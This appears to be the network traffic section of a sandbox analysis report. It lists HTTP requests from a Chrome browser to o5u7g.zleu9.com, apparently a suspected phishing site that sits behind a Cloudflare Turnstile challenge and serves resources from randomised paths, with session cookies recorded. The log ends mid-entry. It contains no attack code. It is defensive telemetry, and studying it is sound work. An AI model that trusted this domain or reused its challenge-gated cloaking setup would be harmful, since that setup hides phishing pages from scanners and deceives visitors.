Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o5u7g.zleu9.com/O5u7Gw/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkJwS0o3dW9oY040VFdqODZlRjhYcHc9PSIsInZhbHVlIjoiMmFUMkVlZGRsdk9kQnFQTW1vQ3VMcnc1WHUxU1RrZ3JBMUFpS1BWdXUwYlZ6K3oxZ1dIUTNTZFNJZWc3ODJ0THJ5OGJIS1E4Z2tGNmRLNS93NmFuWkFLSElKTk40Q1BmaWNRQjVQdHdhZ21PcndJOVVodTM2STlNMDIremJFK3UiLCJtYWMiOiIxNTk1YTExOTc0MGE2ZTcxZDc1Y2IxNTc3OWJjNzMxN2U4N2IyMzI5MWVkYmExMGRmMzBlMzg2NTkyYmYzYzc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlVbDN3REQyYW9zNmczQ0pqRFlIcUE9PSIsInZhbHVlIjoiUnY2eXBxNU9LUVU5OUM0T1lWSllMYlBYT1R5WnhrOEU3c2FCZHNzQjdCeENNN3RiWThjblhSUXFZOHZmSWVwWjZuQ0VPZ0ZQQzd2T3BBamVyTXZLa0h2STlhRHVTelVSMWdwcFBDbTVkY09BUXlIend3T2swNmFtKzU4MWtnOW4iLCJtYWMiOiJkMmYwMGM5MjYzM2ViMDkyMDU0MmZhOTJlMmE0ZTY1YTRlZDQzYzBhZDIxY2M2Mjc2MDhmMGIyMzY5OGQ3MmJmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/693555097:1713899458:awaYsz5cS08XnYE1eWdisJAHNg9uYwgpGaBpyil3TXY/879066af2d254527/783a92b798bfbc6 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/879066af2d254527/1713902022571/cfsO0aDF5k_W65H HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/tbxob/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/879066af2d254527/1713902022571/cfsO0aDF5k_W65H HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/879066af2d254527/1713902022573/2c54c2e92cd6a1adf7ce103072c3ed1a2e53daac1a2c103e1868b6da0e2a356b/KqKxEDIwFgWsKX_ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/tbxob/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/693555097:1713899458:awaYsz5cS08XnYE1eWdisJAHNg9uYwgpGaBpyil3TXY/879066af2d254527/783a92b798bfbc6 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/693555097:1713899458:awaYsz5cS08XnYE1eWdisJAHNg9uYwgpGaBpyil3TXY/879066af2d254527/783a92b798bfbc6 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /O5u7Gw/ HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://o5u7g.zleu9.com/O5u7Gw/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjlQRlVUNHN6YnhFT3JocldlRXE4bGc9PSIsInZhbHVlIjoiKzlDc3U3V2pkL0pvTTc3QXNPVk1Fd25NdkhSUFQvaFdDU3JNVHppdFhEd3MvM25YbEd6K1pkclRLcGhQODQrVXRWbWwyQ21HanQxVTF0SEc1b3dsVHZtQkpwVlBtNVdOeURmcDhMaXNlanVpNWttaTV6R2lHdHFjbk1Rd0w3MXQiLCJtYWMiOiIzZjQwOGQ3MThiZDMyMGEyOWE5NjhkNTk2OGZmOGFhMjgzYTVhMTQyZTcwNzgzMDc4YWY4NmU3MDI5YTE0YjIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisrSXY5Nkx6TTVreW1qQm1sTER6Z2c9PSIsInZhbHVlIjoieFphRkdyOU9kZS90cHhTZEV3YVRBc0pFeGtKUHNPekFyM05DaTI0Q3piQzZSTk40U01vMkNRRGxGODczYU1VZWVtNmlhamhSSncvcTdCcVo5TU5nSVZ5OGVPSVFuMTBxc0ZHN0k1V0hNMHNmcngydm1Nb21RcjNYaHdkcE1sWTEiLCJtYWMiOiIzOTY1ZTM2YzJjZjRjYWRjMzcxOTc1NmUzYjYxMWVlZTNmNDY5NzAyMGRhNGMxOTAyNWExY2RiMWRiZmMxOTRiIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /hwQyLxyNOyWBlYH9r31Ztr HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjlQRlVUNHN6YnhFT3JocldlRXE4bGc9PSIsInZhbHVlIjoiKzlDc3U3V2pkL0pvTTc3QXNPVk1Fd25NdkhSUFQvaFdDU3JNVHppdFhEd3MvM25YbEd6K1pkclRLcGhQODQrVXRWbWwyQ21HanQxVTF0SEc1b3dsVHZtQkpwVlBtNVdOeURmcDhMaXNlanVpNWttaTV6R2lHdHFjbk1Rd0w3MXQiLCJtYWMiOiIzZjQwOGQ3MThiZDMyMGEyOWE5NjhkNTk2OGZmOGFhMjgzYTVhMTQyZTcwNzgzMDc4YWY4NmU3MDI5YTE0YjIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisrSXY5Nkx6TTVreW1qQm1sTER6Z2c9PSIsInZhbHVlIjoieFphRkdyOU9kZS90cHhTZEV3YVRBc0pFeGtKUHNPekFyM05DaTI0Q3piQzZSTk40U01vMkNRRGxGODczYU1VZWVtNmlhamhSSncvcTdCcVo5TU5nSVZ5OGVPSVFuMTBxc0ZHN0k1V0hNMHNmcngydm1Nb21RcjNYaHdkcE1sWTEiLCJtYWMiOiIzOTY1ZTM2YzJjZjRjYWRjMzcxOTc1NmUzYjYxMWVlZTNmNDY5NzAyMGRhNGMxOTAyNWExY2RiMWRiZmMxOTRiIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /O5u7Gw/?Z HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://o5u7g.zleu9.com/O5u7Gw/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNhZUNlOU01cC9wUFk1Z0ExK1pyMVE9PSIsInZhbHVlIjoiVUIwZ1Y5bkJ3QWZLWmpHa1hhK29UZmFCQ2pEazd0cmpQUGFaTlN6ZzV5Q2pCU3B4WkErZGw4bUkrdHZJU1hOdzBzUmI4eUg2ZkxKVFljTzliTDJkKzJvMWQvak9pQ2VTN21KK3BGZ21leGMvMHEzZ09tY1NvZ2RpV0JVc0pUTmoiLCJtYWMiOiJjZjRjZDAzNGViNTZiMjIwZDk4OTBhOGU2MzljNGQ5YWZiYjkzMWRkOWQ4ZTE4NmU5MjBjOTkwYTY4ZmJjOGY2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkhEdmt1ZDJGbDhyeEs2bWdNK0FNcHc9PSIsInZhbHVlIjoid3JTVnQ0RFBTeWk1SG1veUVuais4amFCc1ZHWjZydTJNS3ZpWFNLZWUzakpQd2gxUEczTlBUMERkbThmMzZrVzRHK2crVjEzWjdLSTRYN2pleFdZZ3pqQjhGR1E1Q05LSDhrQmwvUlF6RTNSMHNTMUdiR2xxTGlqOGlqUElFbHgiLCJtYWMiOiJmMjI1NWRlNmY2OWM0NGYzNjc0YTlhZjBhOGRkZWZlODI0NTRmZjEzYjFjMjZlNDJlNzIyMTQwYzNlM2VkYmI1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://o5u7g.zleu9.com/O5u7Gw/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNwc2pyOTFSNCtVU0QwemNubFV0U1E9PSIsInZhbHVlIjoiUE1CQmNLeUZlVkgxeGFiV2QvNXVDT3hkMlY2YVF3QThnZ0lvRkM1MHpXU3B0ZFVseWh0RTJYWUVtekFXTFZDTGJyeTZJTUltS2JCd0FZcWIxcFk1WWJza280ZnMrTkZmVmtHRVBRUWtDb1NuSlBsUHI5RDlYT3p0RVRlU2huMkMiLCJtYWMiOiIzZDc4NDMxMjZiMTZkNDhlY2Q4M2Y0YTFmMDQ3ODEzNmZjNDljOTdiMWNhZjNhYzk5MjMxYTFhNDFjOWM3OWRiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpRcFh1OE9tQjVvZDdTMDFxQ3lzb2c9PSIsInZhbHVlIjoiM2JjRSt0dDlXOERYVmlzRG5Zb0F6a0Z2dGg2c0NNK3RvbEpYRk9BUEY5bFR6ZE1nTm9UYUtKNVc2d1czamVXT1lOODArb05TaGlaQlFIL2hMZjRNNUxPMnRrSFRJVG1uakY2bHhKSkYwRFZTMFdjS2JQR0hHY1VCR3ZXWTJyT0oiLCJtYWMiOiJkNjYwNzZlZTRlODQzNWU2MDJkOWU4OWEwOWU3ODk2NWY3MTk1Yzc0YTQ3MTMxMGFkMTQyYzc0MjAwMzdkNGE1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56AdOYKMMLgoJxyRlCwu18915 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /xyt4uiudpq34gh30 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /pqEwuigvKgPpV6LFzQ34GsmKuv38 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://o5u7g.zleu9.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /12K3yC85Zl4Gjr78g8Ljxqr50 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://o5u7g.zleu9.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o5u7g.zleu9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4.6.0/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o5u7g.zleu9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /90LHee5UjNMUuFaF7C23ZIhMnMnuv58 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://o5u7g.zleu9.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /45lqabaypR8xixiJ6pi09abYdPVRJTWCXvw70 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://o5u7g.zleu9.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 